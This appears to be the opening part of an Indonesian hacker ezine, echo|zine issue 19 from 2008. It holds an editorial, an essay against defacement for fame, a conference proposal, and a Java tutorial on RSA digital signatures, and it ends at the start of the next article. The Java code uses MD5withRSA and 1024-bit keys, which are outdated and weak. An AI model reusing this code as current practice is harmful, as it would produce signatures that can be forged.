Echo Ezine Vol 19
Convert to pdf by http://ebukindo.co.cc
1
___ __ _(_) __|___ __| |___|____ | / _ \ / _` | |\ \ / _ \ / _` |__ \ |_ | \__ | | | | |_\ \ (_) | | | |__) |__| | |___/|_| |_|_|____\___/|_| |_|___/_____|
[ echo|zine, volume 6 issue 19 ] introduction Brought To You By : y3dips email: y3dips/at/echo/dot/or/dot/id URL: http://y3dips/dot/echo/dot/or/id =======
080808 ---|
08-08-08, "sebuah angka yang mungkin bagi sebagian orang dianggap keramat, angka ajaib, atau angka keberuntungan dan sebagainya" Tetapi, hal itu tidak berlaku bagi kami, angka ini lebih kepada "kutukan", setelah kami memutuskan untuk menerbitkan issue 15 pada 06-06-06, kemudian di perkuat dengan rilis issue ke 17 satu tahun kemudian pada tanggal 07-07-07.Ya, ya, ya sebuah Call for paper (CFP) telah memperkuat kedudukan 08-08-08 untuk menjadi hari lahirnya/terbitnya issue ke 19 kami. "Kutukan" ini berarti sangat baik bagi kami, karena setidaknya dalam 1 tahun minimal kami haruslah merilis 1 buah issue ("yang mungkin kutukan ini bisa terpatahkan di tahun 2013 - az001") Bulan ini juga adalah bulan kemerdekaan nusantara yang ke 63 tahun, dan sebelum terlambat, maka kami mengucapkan selamat ulang tahun kepada nusantara, lupakan sejenak hingar-bingar dan gegap gempita pencalonan pemimpin daerah yang dihiasi wajah para artis, marilah kita kenang sejenak perjuangan para pahlawan kita,dan mulailah bangkitkan semangat untuk memerdekakan diri kita dari segala bentuk penjajahan. Terutama penjajahan dari Kebodohan!
=======
Kabar Echo? ---|
"1 bulan lagi Echo akan berusia 5 tahun, mudah-mudahan semua yang echo berikan walaupun sedikit dapat bermanfaat bagi komunitas underground di nusantara." staff Ditahun yang kelima ini kami kembali berbenah. Ya, ditahun inilah berbagai urusan dunia nyata semakin membuat kami menjauh dari dunia underground, beberapa staff bahkan menambah panjang daftar staff yang sudah berkeluarga, di tahun 2008 ini sudah 2 orang staff yang melepas status sendirinya, dan kemungkinan 2 orang staff lagi juga akan melepaskan status sendirinya di sisa tahun 2008 ini. Inilah siklus hidup yang tidak bisa kita hindari. sehingga "idealisme" terkadang terdengar sayup-sayup.. Dan disinilah kami mencoba mempertahankan "idealisme" kami. Staff echo yang jumlahnya dapat dihitung jari pun, seiring waktu berkurang. Berkurang? Tidak secara jumlah (kuantitas) tetapi lebih kepada kontribusi nyata (kualitas),
2
Ya, tidak ada yang salah dengan itu, setiap staff memiliki komitmen untuk bertahan atau tersapu menghilang, dan komitmen itu pulalah satu-satunya hal yang mempersatukan. Saat komitmen mulai mengendur, maka saat itulah berkontribusi akan terasa sulit. Bukan, bukan hanya usia yang menjadi penghalang, masih banyak lagi, karena hidup itu misteri dan hal itu yang menyebabkan hidup ini indah. Dan (sekali lagi) kami disini (kali ini) untuk memastikan bahwa echo akan bertahan!
=======
issue #19 ---|
Issue kali ini dibuka dengan sebuah pseudo-random yang ditulis oleh anonymous, pada kesempatan kali ini anonymous secara tajam menyoroti berbagai kejadian di seputar komunitas, terbentuknya sebuah kompetisi ?, serta bagaimana menjadi yang terbaik. Dilanjutkan dengan penjabaran sebuah kegiatan yang diberi nama "idsecconf2008", yaitu sebuah artikel yang berisi proposal rancangan kegiatan konferensi komunitas keamanan teknologi informasi se-nusantara, yang nantinya diharapkan dapat membangkitkan gairah para penggiat keamanan teknologi informasi, khususnya komunitas underground. Dua buah artikel yang membahas bidang keilmuan kriptografi menghiasi issue kali ini, dimulai dengan sebuah artikel dari mamasexy yang membahas tentang Digital signature, artikel inipun disertai kode yang ditulis dengan bahasa pemrograman java. Dilanjutkan oleh x-diamond1 dengan sebuah artikel berjudul "cryptography : Simple a-symetric algorithm", yang juga didukung dengan barisan kode perl sebagai pelengkapnya. Pada issue kali ini pula, kami menampilkan 2 buah "profile" yang berisikan biodata dari 2 individu yang cukup dikenal di kalangan underground dan keamanan praktis. Dimulai dengan cybertank, yang merupakan salah seorang staff kecoak elektronik, lalu lirva32, yang merupakan salah seorang staff echo yang sampai sekarang masih menjaga idealismenya dan aktif di komunitas. Artikel "whats goin on echo forums" kali ini akan di tukangi oleh az001, menginggat berbagai kesibukan yang dihadapi oleh anonymous-co-editor yang biasanya menulis rubrik ini. Kali ini issue yang sangat hangat adalah beberapa "room" yang dianggap melanggar peraturan oleh penyedia layanan hosting dan bandwidth dan berakibat seluruh sub-domain echo.or.id tidak dapat diakses, serta beberapa bahasan menarik dari forum juga ikut menghiasi artikel/rubrik ini. Dibidang keilmuan keamanan, diisi 4 buah artikel, dimulai dengan sebuah artikel berjudul "Bailiwicked DNS Attack (Cache Poisoning)" yang di tulis oleh Cyberheb, menjelaskan tentang celah pada protokol DNS yang ditemukan oleh Dan Kamiansky dan menjadi perbincangan hangat di komunitas keamanan baru-baru ini, kemudian sebuah artikel dari y3dips yang membahas mengenai sebuah program berbasiskan bahasa pemrograman python, bernama Scapy, program yang sudah sangat terkenal dikalangan underground ini bahkan dijadikan module yang ampuh untuk membuat exsploit yang portabel, Scapy juga sangat membantu untuk belajar memahami kinerja protokol/jaringan,bahkan mempermudah kita menciptakan
3
peralatan hacking. Issue kali ini ditutup dengan 2 buah artikel pendek yang dirangkum dalam Hacker`s logbook, artikel pertama yang di tuliskan oleh az001, mengajarkan kita bagaimana memanfaatkan wget sebagai content fuzzer, teknik ini sangat efektif dikarenakan hampir disetiap mesin linux/unix yang tersebar di internet terinstall wget, kemudian di sisi berlawanan adalah sebuah artikel dari lirva32 yang mengajak kita untuk mengamankan webserver yang kita miliki dengan cara menginstall sebuah firewall untuk aplikasi web yaitu mod_security.
Selebihnya, selamat menikmati sajian kali ini :) y3dips, Founder ECHO.or.id
=======
01. 02. 03. 04. 05. 06. 07. 08. 09. 10.
Table of Contents ---|
Introduction .................................................. y3dips Pseudo-random .............................................. anonymous id-sec-conf-2008 .......................................... echo|staff Digital Signature secara gampangnya ......................... mamasexy cryptography : Simple a-symetric algorithm ................ x-diamond1 Prophile on CyberTank Prophile on lirva32 ....................................... echo|staff Whats goin on echo forum ....................................... az001 Bailiwicked DNS Attack (Cache Poisoning) .................... Cyberheb Scapy: obrak-abrik paket data ................................. y3dips Hackers Logbook wget sebagai content fuzzer .................................... az001 Lindungi Asset Web Server Dengan Mode Security ............... lirva32
======== Shoutz ---| - Jim Geovedi & theday .. selamat menempuh hidup baru dan semoga keberkahan dan kebahagiaan selalu mengalir - Generasi muda dunia underground Indonesia, "ayo bangkit" ======== Contact ---| Editor-in-chief & co-ed Submissions Commentary Echo Diplomatic Squadron URI
: : : : :
[email protected] [email protected] [email protected] [email protected] http://ezine.echo.or.id
echo|zine issue 19, 08/08/08. ISSN IDUN-CARE Copyright (c) 2008 echo|zine. All right reversed. echo|zine issue 19 -- dari staff (contributors), oleh staff (lazy editors), untuk SEMUA (You! YES, YOU!)
*- $e19dot001dottxt - echo|zine - issue#19 - 080808 -*
4
______ _ _____ ___ __ _(_) __|___ __| |___|____ | / _ \ / _` | |\ \ / _ \ / _` |__ \ |_ | \__ | | | | |_\ \ (_) | | | |__) |__| | |___/|_| |_|_|____\___/|_| |_|___/_____|
[ echo|zine, volume 6 issue 19 ] Pseudorandom: Siapa yang terbaik? Brought To You By : anonymous email: anonymous/et/echo/dot/or/id URL: http://echo/dot/or/id Hari ini, 8 Agustus 2008, hari pertama dimulainya perlombaan Olimpiade yang ke-29 di Beijing, Cina. Perlombaan berskala internasional untuk membuktikan siapa olahragawan terbaik disetiap cabang olahraga. Untuk menjadi yang terbaik, setiap olahragawan yang dikirim harus mempersiapkan diri dengan baik dengan latihan yang cukup. Yang jelas, beberapa bulan sebelumnya, mereka sudah masuk karantina dan berlatih dengan intensif. Sudah dipastikan adanya tekanan dari banyak pihak agar olahragawan tersebut dapat menggondol medali emas di perlombaan Olimpiade. Medali emas tersebut memang hanyalah simbol belaka, namun pengakuan bahwa dia yang terbaik adalah yang utama. Bukan tidak mungkin sebelum bertanding, olahragawan tersebut mengalami keraguan dalam dirinya. Tercatat cukup signifikan jumlah kasus penggunaan obat-obatan yang dilarang untuk digunakan selama perlombaan berlangsung. Obat-obatan tersebut ditujukan selain untuk memberikan motivasi tambahan juga mengurangi kadar stress yang dialami. Sebagai hasil akhir, tentu yang diharapkan adalah menjadi pemenang pada perlombaan. Olimpiade dan juga perlombaan sejenis adalah bagian dari budaya dimana manusia berusaha membuktikan siapa yang terbaik. Ini merupakan hal yang alami dan sudah ada sejak dahulu kala. Keinginan untuk menjadi yang terbaik seringkali membutakan mata segelintir orang untuk mengambil jalan pintas. Hal yang sama, juga berlaku dalam kehidupan sosial para hacker. Sering kali saya mendapatkan pertanyaan tentang siapakah hacker terbaik di Indonesia ini? Harus saya akui, sulit sekali untuk menjawab pertanyaan tersebut karena tidak adanya tolok ukur yang dapat digunakan. Bahkan saya juga menemukan pertanyaan serupa di forum ECHO. Mungkin jika dilakukan survey, dapat saja muncul nama-nama individu yang dapat dikategorikan sebagai hacker terbaik. Namun perlu diingat yang menjadi patokan adalah "selera" dari mereka yang mengikuti survey. Seberapa "hebat" si hacker tersebut di mata peserta survey dan berapa banyak yang diketahui tentang si hacker tersebut. Walhasil, bukan kategori yang terbaik pada akhirnya melainkan kategori favorit. Jadi, menurut saya, akan sangat konyol jika seseorang menyerukan bahwa hacker XYZ adalah yang terbaik. Mungkin yang menjadi dasar adalah kebetulan hacker XYZ sangat ramah dan mau menjawab setiap pertanyaan yang diajukan oleh seseorang tersebut, bahkan untuk pertanyaan konyol sekalipun. Atau, secara kebetulan hacker XYZ tersebut adalah teman satu sekolah atau kampus. Atau mungkin seseorang tersebut pernah menjadi murid dari hacker XYZ. Atau menggunakan nickname yang sama dengan hacker kelas kakap. Semuanya menjadi sangat relatif,
5
bukan? Kembali kepada cerita tentang olahragawan yang menggunakan dopping. Hal yang sama juga berlaku di lingkungan underground. Ada yang merasa bahwa dia cukup mampu atau mungkin melebihi kemampuan hacker XYZ atau KLM atau FGH atau siapalah. Namun sampai saat ini merasa belum diakui oleh khalayak ramai sehingga muncul rasa "gregetan" dan haus akan pengakuan. Berbagai upaya ditempuh, termasuk meng-klaim dirinya adalah yang terbaik dan membandingkan dirinya dengan "kompetitor". Kemudian melakukan web defacement sebanyak mungkin dan mencantumkan nickname atau inisialnya, yang diharapkan akan dapat menjadi pembicaraan dan akhirnya masyarakat akan menilainya sebagai hacker berkelas tinggi. Dapat juga dengan mempromosikan dirinya tiada henti, bercerita panjang-lebar dan seringkali berlebihan, tentang kemampuan yang ia miliki. Tentang pengalaman kerjanya. Tentang setumpuk sertifikat, yang berhubungan dengan security dan hacking, yang ia miliki di rumah. Sudah menjadi rahasia umum, cara paling mudah untuk membuktikan seseorang adalah yang terbaik adalah... dengan menjatuhkan kompetitornya. Ini adalah resep mujarab dan selalu dapat digunakan kapan saja dan dimana saja. Tapi apakah memang harus begitu melalui cara-cara seperti itu? Saya bilang, TIDAK! Esensi dan semangat dari aktifitas hacking adalah melakukan eksplorasi terhadap suatu sistem. Eksplorasi adalah suatu hal yang akan terus berkembang seiring dengan pengetahuan yang didapat dan bagaimana memanfaatkan pengetahuan tersebut. Menurut saya, mereka [para hacker] yang dapat memanfaatkan pengetahuan yang diperoleh dari proses eksplorasinya adalah yang terbaik. Yang patut mendapat medali emas. Tenang, ada banyak medali emas yang tersedia. Mengapa? Karena hacking tidak punya batasan. Seseorang dapat berkonsentrasi penuh pada application security. Sementara yang lain dapat fokus ke telecommunication security. Dan masih banyak lagi bidang yang lainnya. Hacker dalam melakukan eksplorasinya diharapkan juga mempunyai etika. Etika yang berhubungan dengan aturan normatif dikehidupan sosial harus ditegakkan. Bahkan dalam kehidupan sehari-haripun ada sekolah yang khusus, dimana kita dapat mempelajari etika. Dan setelah selesai dari sekolah tersebut, akan dikeluarkanlah sebuah sertifikat tanda kelulusan yang menyatakan bahwa kita telah belajar tentang etika dan TIDAK menyatakan bahwa kita punya etika yang baik. Percaya atau tidak. Mereka [para hacker] yang terbaik adalah mereka yang menyadari dan mensyukuri bahwa pengetahuan yang mereka dapat bermanfaat bagi orang lain. Hacker terbaik bukanlah dewa, terlebih dewa petir. anonymous sick & lazy editor-in-chief
*- $e19dot002dottxt - echo|zine - issue#19 - 080808 -*
______
_
_____
6
___ __ _(_) __|___ __| |___|____ | / _ \ / _` | |\ \ / _ \ / _` |__ \ |_ | \__ | | | | |_\ \ (_) | | | |__) |__| | |___/|_| |_|_|____\___/|_| |_|___/_____|
[ echo|zine, volume 6 issue 19 ] id-sec-conf-2008 Brought To You By : echostaff email: idsecconf/et/echo/dot/or/id URL: http://idsecconf/dot/echo/dot/or/id =======
Tentang ---|
id-sec-conf atau juga Indonesian security conference adalah salah satu ajang silaturahmi nasional bagi para peminat keamanan teknologi informasi dari seluruh penjuru nusantara, salah satu tujuan dari diadakannya acara ini adalah agar terjadinya pertukaran ilmu pengetahuan khususnya masalah keamanan teknologi informasi, yang akhirnya akan menghindarkan kita semua dari keterpurukan dan kesenjangan pengetahuan. Pada awalnya kegiatan ini di prakarsai oleh para staff echo, dan dijadikan sebagai salah satu kegiatan yang ingin di usung secara penuh di tahun 2008, kegiatan ini pertama kali di sebarkan kepada para peserta kegiatan "echo Hack In the Zoo" (sebuah kegiatan ngumpul bareng secara "ekonomis" di kebun binatang Ragunan pada awal tahun 2008), dan diharapkan pada rilis majalah elektronik echo yang ke 19 ini akan menjadi tanda penyebaran ke khalayak ramai. =======
Kegiatan ---|
Kegiatan ini terinspirasi dari berbagai kegiatan kumpul-kumpul yang dilakukan oleh komunitas keamanan berskala internasional, ataupun kegiatan kumpul-kumpul yang sering dilakukan oleh komunitas-komunitas Opensource. Adapun berbagai aturan penting dari kegiatan ini adalah(*) : [0] Acara ini khusus untuk WNI, Acara ini berbahasa Indonesia [1] Peserta adalah Seluruh warga negara indonesia (tidak dibatasi usia, jenis kelamin, agama, suku, dsb) yang tertarik mengenai masalah keamanan teknologi informasi [2] Tidak diperlukan identitas resmi pada kegiatan ini, jika kamu tidak mempunyai "id/nick/pseudonym" maka pilih satu atau kami yang akan memilihkannya :) [3] Pembicara adalah Seluruh warga indonesia yang menjawab CFP, dan telah lolos seleksi oleh panitia. [4] Pembicara memiliki hak penuh atas semua materi yang di sampaikan, tetapi akan sangat di anjurkan untuk meng "open source" kan-nya [5] Tidak diperbolehkan segala jenis publikasi media baik dalam bentuk berita atau foto tanpa seijin penyelengara atau individu terkait. (*) masih dapat berubah-ubah. Lama kegiatan adalah 2 hari, yang berisi berbagai kegiatan, diantaranya:
7
[1] [2] [3] [4]
Seminar (penyampaian 1 arah) Diskusi Panel (penyampaian 2 arah) Diskusi Komunitas (diskusi perwakilan komunitas) Permainan Hacking (dikenal dengan CTF)
Adapun Pembatasan materi bagi pembicara adalah seputar: [1] [2] [3] [4] [5] [6] [7] [8]
hacking security phreaking forensics carding electronics cryptography community
=======
Pendukung ---|
[1] echo.or.id [2] e-rdc.org [3] ......... Bagi yang berminat untuk mensukseskan kegiatan ini silahkan ajukan keinginan anda untuk mendukung (lihat "Info" untuk lebih lanjut) ======= Tanggal Penting ---| CFP di rilis : Bulan September 2008 Batas Penerimaan Materi/Paper : Awal November 2008 Acara : Bulan Desember 2008 =======
Permasalahan Terbesar ---|
[1] Sumber Dana *kami berusaha untuk sesedikit mungkin peserta mengeluarkan kontribusi, oleh karena itu Sponsor amat diharapkan. Bagi yang berminat menjadi Sponsor silahkan hubungi kami ( lihat "Info") [2] Nasionalisme sempit dari tiap komunitas [3] Tempat (saat ini kami sudah mendapat tawaran tempat)
=======
Tanya-Jawab ---|
[T] Apakah kegiatan ini akan benar-benar terwujud? [J] Kami akan mengusahakan untuk dapat terwujud, meskipun peserta dan juga pembicaranya adalah kami* :lol: =======
Tempat ---|
Sudah ada satu buah Universitas yang kami hubungi dan bersedia bekerjasama serta menjadi tempat kegiatan ini berlangsung. Tetapi tidak menutup kemungkinan buat siapapun yang ingin menyediakan tempat. ======= Info ---|
8
untuk pertanyaan, saran, masukan, pengajuan sebagai pembicara, pengajuan sebagai sponsor, dan info lebih lanjut dapat menghubungi idsecconf[et]echo[dot]or[dot]id url: http://idsecconf.echo.or.id
*- $e19dot003dottxt - echo|zine - issue#19 - 080808 -*
9
______ _ _____ ___ __ _(_) __|___ __| |___|____ | / _ \ / _` | |\ \ / _ \ / _` |__ \ |_ | \__ | | | | |_\ \ (_) | | | |__) |__| | |___/|_| |_|_|____\___/|_| |_|___/_____|
[ echo|zine, volume 6 issue 19 ] Digital Signature secara gampangnya Brought To You By : mamasexy email: mamasexy/at/null/dev =======
Pendahuluan ---|
Digital Signature Tanda tangan dijital adalah bentuk tiruan tanda tangan konvensional ke dalam bentuk dijital. Tetapi bukan file scan tanda tangan di kertas. Sebutan digital signature ini sebenarnya konsep. Dalam dunia nyata, tanda tangan dijital itu bentuknya adalah rangkaian byte-byte yang jika diperiksa bisa digunakan untuk memeriksa apakah suatu dokumen dijital, juga termasuk email, benar berasal dari orang tertentu atau tidak. Misalnya, Alice mengirimkan dokumen penting kepada Bob melalui email. Ternyata, Trent yang tahu kabar ini kemudian mencoba memalsukan email Alice. Dokumen attachment Alice diganti. Ketika Bob terima email Alice (yang attachmentnya sudah diganti oleh Trent), dia merasa aneh, karena isinya tidak sesuai dengan pembicaraan sebelumnya. Bob curiga. Bob memeriksa (mem-verifikasi) digital signature pada email tersebut. Bob tahu, ternyata surat itu tanda tangannya tidak cocok. Konsep ini sekarang telah diimplementasikan dalam bentuk S/MIME dan PGP. Saya tidak akan bahas S/MIME dan PGP, tapi saya akan bahas bagaimana membuat dan memeriksa keaslian tanda tangan dijital. =======
Implementasi ---|
Pre-requisit sebelum konsep ini bisa diimplementasikan 1. Alice harus punya pasangan public key dan private key. Caranya? Di-generate (dibangkitkan) dong! Bagaimana membuat tanda tangan dijital? 1. Alice mengambil nilai hash dari pesan/data. Fungsi hash yang bisa pakai misalnya MD5 atau SHA1 2. Alice mengenkrip nilai hash tersebut dengan algoritma enkripsi public key, contohnya RSA (dipakai di S/MIME; sedangkan PGP pakai algoritma El Gamal). Hasil enkripsi hash dengan private key pengirim inilah yang disebut digital signature. 3. Alice menempelkan (concat) digital signature ke pesan/data. 4. Alice mengirim pesan/data yang sudah ditempeli digital signature tersebut kepada Bob Bagaimana mem-verifikasi tanda tangan dijital? 1. Bob mengambil emailnya, kemudian memisahkan bagian tanda tangan dijital dengan bagian pesan/datanya 2. Bob mendekrip digital signature pesan tersebut dengan public key Alice. Public key Alice sudah pernah diberikan oleh Alice sebelumnya, atau bisa diambil dari website Alice
10
3. Hasil dekripsi digital signature kemudian dicocokkan dengan nilai hash bagian pesan/data email tersebut 4. Jika hasilnya sama, berarti tanda tangan dijital dinilai valid sedangkan bila beda, berarti digital signature tidak valid (dokumen telah dipalsukan atau pengirimnya pasti bukan Alice) Berikutnya, untuk memperjelas konsep ini saya berikan contoh program dalam bahasa Java. Spesifikasi kebutuhan - fungsi untuk menghasilkan digital signature - fungsi untuk mem-verifikasi apakah digital signature valid atau tidak - algoritma yang digunakan adalah RSA dengan fungsi hash MD5 - digital signature yang dihasilkan berupa byte array Hasil - Sebuah class Java bernama DigitalSignatureVerifier Kebutuhan JCA (Java Cryptography Architecture) yang ada secara default pada JRE & JDK sejak Java 1.5.
Menghasilkan digital signature byte[] getDigitalSignature(String message, PrivateKey pk) Input: - Message/data yang akan diambil digital signature nya. Data bertipe String. - Private key pemberi tanda tangan. Private key adalah objek dari class PrivateKey Hasil: Array byte digital signature menggunakan algoritma RSA dan fungsi hash MD5. Memverifikasi validitas digital signature boolean verifySignature(String message, PublicKey pb, byte[] signature) Input: - Message/data yang diperiksa. Data bertipe String. - Public key pembuat digital signature. Public key adalah objek dari class PublicKey - Signature adalah array byte digital signature yang diperiksa validitasnya Hasil: Jika digital signature valid, method akan menghasilkan nilai true. Jika tidak, maka nilai yang dikembalikan adalah false.
Petunjuk penggunaan Detil petunjuk penggunaan ada di file Main.java 1. Sebelum menggunakan DigitalSignatureVerifier, sebuah objek DigitalSignatureVerifier perlu dibuat terlebih dahulu. Perintahnya adalah sebagai berikut: DigitalSignatureVerifier dsv = new DigitalSignatureVerifier(); 2. Membangkitkan pasangan kunci private key dan public key RSA, dapat dipermudah dengan memanggil method generateRSAKeyPair(). KeyPair kp = dsv.generateRSAKeyPair(); 3.
Private key dan public key dari pasangan kunci dapat diambil dengan
11
method getPrivate() dan getPublic() dari class KeyPair. PrivateKey pk = kp.getPrivate(); PublicKey pb = kp.getPublic(); 4. Contoh perintah untuk mengambil digital signature pada suatu message (data) String message = "A DIGITALLY SIGNED MESSAGE."; byte[] signature = dsv.getDigitalSignature(message, pk); 5. Contoh perintah untuk memverifikasi apakah digital signature yang diberikan valid atau tidak boolean verified = dsv.verifySignature(message, pb, signature); 6. byte
Public key dan private key dapat juga direpresentasikan dalam bentuk array
byte[] priv = dsv.getPrivateKeyAsBytes(pk); byte[] pub = dsv.getPublicKeyAsBytes(pb); 7. Private key dan public key yang ada dalam bentuk array byte dapat di-load kembali ke dalam class PrivateKey dan class PublicKey PrivateKey pk2 = dsv.loadPrivateKeyFromBytes(priv); PublicKey pb2 = dsv.loadPublicKeyFromBytes(pub);
=======
Catatan --- |
Algoritma-algoritma pembentuk digital signature dan algoritma enkripsi public key yang digunakan ditulis hard-coded di dalam program karena algoritma enkripsi yang diminta hanya satu, yaitu RSA. ---------------- kode sumber program ----------------------DigitalSignatureVerifier.java import java.math.BigInteger; import java.security.InvalidKeyException; import java.security.KeyFactory; import java.security.KeyPair; import java.security.KeyPairGenerator; import java.security.NoSuchAlgorithmException; import java.security.PrivateKey; import java.security.Provider; import java.security.PublicKey; import java.security.Security; import java.security.Signature; import java.security.SignatureException; import java.security.spec.EncodedKeySpec; import java.security.spec.InvalidKeySpecException; import java.security.spec.PKCS8EncodedKeySpec; import java.security.spec.X509EncodedKeySpec; import java.util.HashSet; import java.util.Iterator; import java.util.Set;
12
import sun.misc.BASE64Encoder; /** * Class ini ditulis menggunakan Java Cryptography Architecture yang telah menjadi * paket standar dalam JRE & JDK sejak versi 1.5. Fungsi utama class ini adalah * untuk menghasilkan digital signature dan memverifikasi digital signature. Juga * ditambahkan beberapa fungsi lain pendukungnya. Algoritma yang digunakan untuk * digital signature adalah RSA dengan fungsi hash MD5. * @author amri shodiq */ public class DigitalSignatureVerifier { /** * Method ini digunakan untuk mengambil private key dalam bentuk array byte. * Bisa jadi untuk kebutuhan penyimpanan dibutuhkan. * @param pk * @return */ public byte[] getPrivateKeyAsBytes(PrivateKey pk) { return pk.getEncoded(); } /** * Method ini digunakan untuk me-load kembali private key yang mungkin telah * disimpan dalam bentuk array byte yang tersimpan dalam file. Private key * yang dihasilkan berformat #PKCS-8. * @param privateKeyBytes * @return * @throws java.security.NoSuchAlgorithmException * @throws java.security.spec.InvalidKeySpecException */ public PrivateKey loadPrivateKeyFromBytes(byte[] privateKeyBytes) \ throws NoSuchAlgorithmException, InvalidKeySpecException { KeyFactory kf = KeyFactory.getInstance("RSA"); EncodedKeySpec pkSpec = new PKCS8EncodedKeySpec(privateKeyBytes); return kf.generatePrivate(pkSpec); } /** * Method ini digunakan untuk mengambil private key dalam bentuk BASE 64. * Bisa jadi untuk kebutuhan penyimpanan dibutuhkan. Umumnya, private key * disimpan dalam bentuk ini. * @param pk * @return */ public String getPrivateKeyAsBase64(PrivateKey pk) { byte[] privateKey = pk.getEncoded(); BigInteger bi = new BigInteger(privateKey); BASE64Encoder base64 = new BASE64Encoder(); return base64.encode(pk.getEncoded()); } /** * Method ini digunakan untuk mengambil public key dalam bentuk array byte.
13
* Bisa jadi untuk kebutuhan penyimpanan dibutuhkan. * @param pb * @return */ public byte[] getPublicKeyAsBytes(PublicKey pb) { return pb.getEncoded(); } /** * Method ini mungkin dibutuhkan ketika ingin me-load kunci yang diambil dari * file. Public key ini kemudian akan di-encode dalam format X509. * @param publicKeyBytes * @return * @throws java.security.NoSuchAlgorithmException * @throws java.security.spec.InvalidKeySpecException */ public PublicKey loadPublicKeyFromBytes(byte[] publicKeyBytes) \ throws NoSuchAlgorithmException, InvalidKeySpecException { KeyFactory kf = KeyFactory.getInstance("RSA"); EncodedKeySpec pbSpec = new X509EncodedKeySpec(publicKeyBytes); return kf.generatePublic(pbSpec); } /** * Method ini digunakan untuk mengambil public key dalam bentuk BASE 64. * Bisa jadi untuk kebutuhan penyimpanan dibutuhkan. Umumnya, public key * disimpan dalam bentuk ini. * @param pb * @return */ public String getPublicKeyAsBase64(PublicKey pb) { byte[] publicKey = pb.getEncoded(); BASE64Encoder base64 = new BASE64Encoder(); return base64.encode(pb.getEncoded()); } /** * Method untuk membangkitkan pasangan key RSA. Hasil fungsi berupa objek * class KeyPair; sepasang private key dan public key. Untuk mengambil * private key dan public key-nya bisa menggunakan method getPrivate dan * method getPublic milik class KeyPair. * @return * @throws java.security.NoSuchAlgorithmException */ public KeyPair generateRSAKeyPair() throws NoSuchAlgorithmException { KeyPairGenerator kg = KeyPairGenerator.getInstance("RSA"); kg.initialize(1024); KeyPair result = kg.genKeyPair(); return result; } /** * Method untuk mendapatkan digital signature dengan tipe array byte. Input * message adalah data yang akan diambil digital signature-nya. Method ini
14
* menggunakan fungsi hash MD5 dan algoritma enkripsi RSA. * @param message * @param pk * @return * @throws java.security.NoSuchAlgorithmException * @throws java.security.InvalidKeyException * @throws java.security.SignatureException */ public byte[] getDigitalSignature(String message, PrivateKey pk) throws \ NoSuchAlgorithmException, InvalidKeyException, SignatureException { Signature sign = Signature.getInstance("MD5withRSA"); sign.initSign(pk); byte[] byteMessage = message.getBytes(); sign.update(byteMessage, 0, byteMessage.length); return sign.sign(); } /** * Method untuk mem-verifikasi atau memeriksa keabasahan digital signature * dari suatu string. Algoritma yang digunakan: hash menggunakan MD5 dan * enkripsi menggunakan RSA. Hasil kembalian dari method ini berupa nilai * boolean. Jika digital signature valid maka hasilnya true. * @param message * @param pb * @param signature * @return * @throws java.security.NoSuchAlgorithmException * @throws java.security.InvalidKeyException * @throws java.security.SignatureException */ public boolean verifySignature(String message, PublicKey pb, byte[]signature) \ throws NoSuchAlgorithmException, InvalidKeyException, SignatureException { Signature sign = Signature.getInstance("MD5withRSA"); sign.initVerify(pb); byte[] byteMessage = message.getBytes(); sign.update(byteMessage, 0, byteMessage.length); return sign.verify(signature); } /** * Method ini digunakan untuk mendapatkan daftar service kriptografi yang * disediakan oleh Java. * @return */ public String[] getServiceTypes() { Set result = new HashSet(); // All all providers Provider[] providers = Security.getProviders(); for (int i=0; i<providers.length; i++) { // Get services provided by each provider Set keys = providers[i].keySet();
15
for (Iterator it=keys.iterator(); it.hasNext(); ) { String key = (String)it.next(); key = key.split(" ")[0]; if (key.startsWith("Alg.Alias.")) { // Strip the alias key = key.substring(10); } int ix = key.indexOf('.'); result.add(key.substring(0, ix)); } } return (String[])result.toArray(new String[result.size()]); } /** * Method ini digunakan untuk mendapatkan implementasi kriptografi di Java. * Inputnya bisa berupa KeyPairGenerator, Signature, MessageDigest, dll. * @param serviceType * @return */ public String[] getCryptoImpls(String serviceType) { Set result = new HashSet(); // All all providers Provider[] providers = Security.getProviders(); for (int i=0; i<providers.length; i++) { // Get services provided by each provider Set keys = providers[i].keySet(); for (Iterator it=keys.iterator(); it.hasNext(); ) { String key = (String)it.next(); key = key.split(" ")[0]; if (key.startsWith(serviceType+".")) { result.add(key.substring(serviceType.length()+1)); } else if (key.startsWith("Alg.Alias."+serviceType+".")) { // This is an alias result.add(key.substring(serviceType.length()+11)); } } } return (String[])result.toArray(new String[result.size()]); } } Main.java import java.security.KeyPair; import java.security.PrivateKey; import java.security.PublicKey; import java.util.logging.Level; import java.util.logging.Logger; /** * * @author admin */
16
public class Main { /** * @param args the command line arguments */ public static void main(String[] args) { try { // Contoh penggunaan class DigitalSignatureVerifier DigitalSignatureVerifier dsv = new DigitalSignatureVerifier(); // Perintah ini digunakan jika Anda perlu meng-generate pasangan // kunci baru. KeyPair kp = dsv.generateRSAKeyPair(); // Dua perintah ini digunakan untuk mengambil private key dan // public key dari KeyPair PrivateKey pk = kp.getPrivate(); PublicKey pb = kp.getPublic(); // Contoh kasus, kita ingin mengambil digital signature pesan berikut: String message = "A DIGITALLY SIGNED MESSAGE."; // Digital signature yang dihasilkan dalam bentuk array byte byte[] signature = dsv.getDigitalSignature(message, pk); // Perintah berikut digunakan untuk memeriksa keabsahan digital // signature boolean verified = dsv.verifySignature(message, pb, signature); // Jika kita ingin mengirim atau menyimpan public key atau private key // dalam bentuk array byte, gunakan perintah berikut: byte[] priv = dsv.getPrivateKeyAsBytes(pk); byte[] pub = dsv.getPublicKeyAsBytes(pb); // Jika ingin me-load kembali array byte ke dalam class PrivateKey // atau PublicKey kemudian menggunakannya kembali untuk verifikasi. PrivateKey pk2 = dsv.loadPrivateKeyFromBytes(priv); PublicKey pb2 = dsv.loadPublicKeyFromBytes(pub); // Objek PublicKey yang digunakan adalah yang di-load dari array byte boolean verified2 = dsv.verifySignature(message, pb2, signature); System.out.println("Hasil: "+verified); System.out.println("Hasil2: "+verified2); } catch (Exception ex) { ex.printStackTrace(); } } --------------------- kode sumber program ---------------------------*- $e19dot003dottxt - echo|zine - issue#19 - 080808 -*
17
______ _ _____ ___ __ _(_) __|___ __| |___|____ | / _ \ / _` | |\ \ / _ \ / _` |__ \ |_ | \__ | | | | |_\ \ (_) | | | |__) |__| | |___/|_| |_|_|____\___/|_| |_|___/_____|
[ echo|zine, volume 6 issue 19 ] cryptography : Simple a-symetric algorithm Brought To You By : x-diamond1 email: kim_diamond1/et/yahoo/dot/com
=======
Pengantar ---|
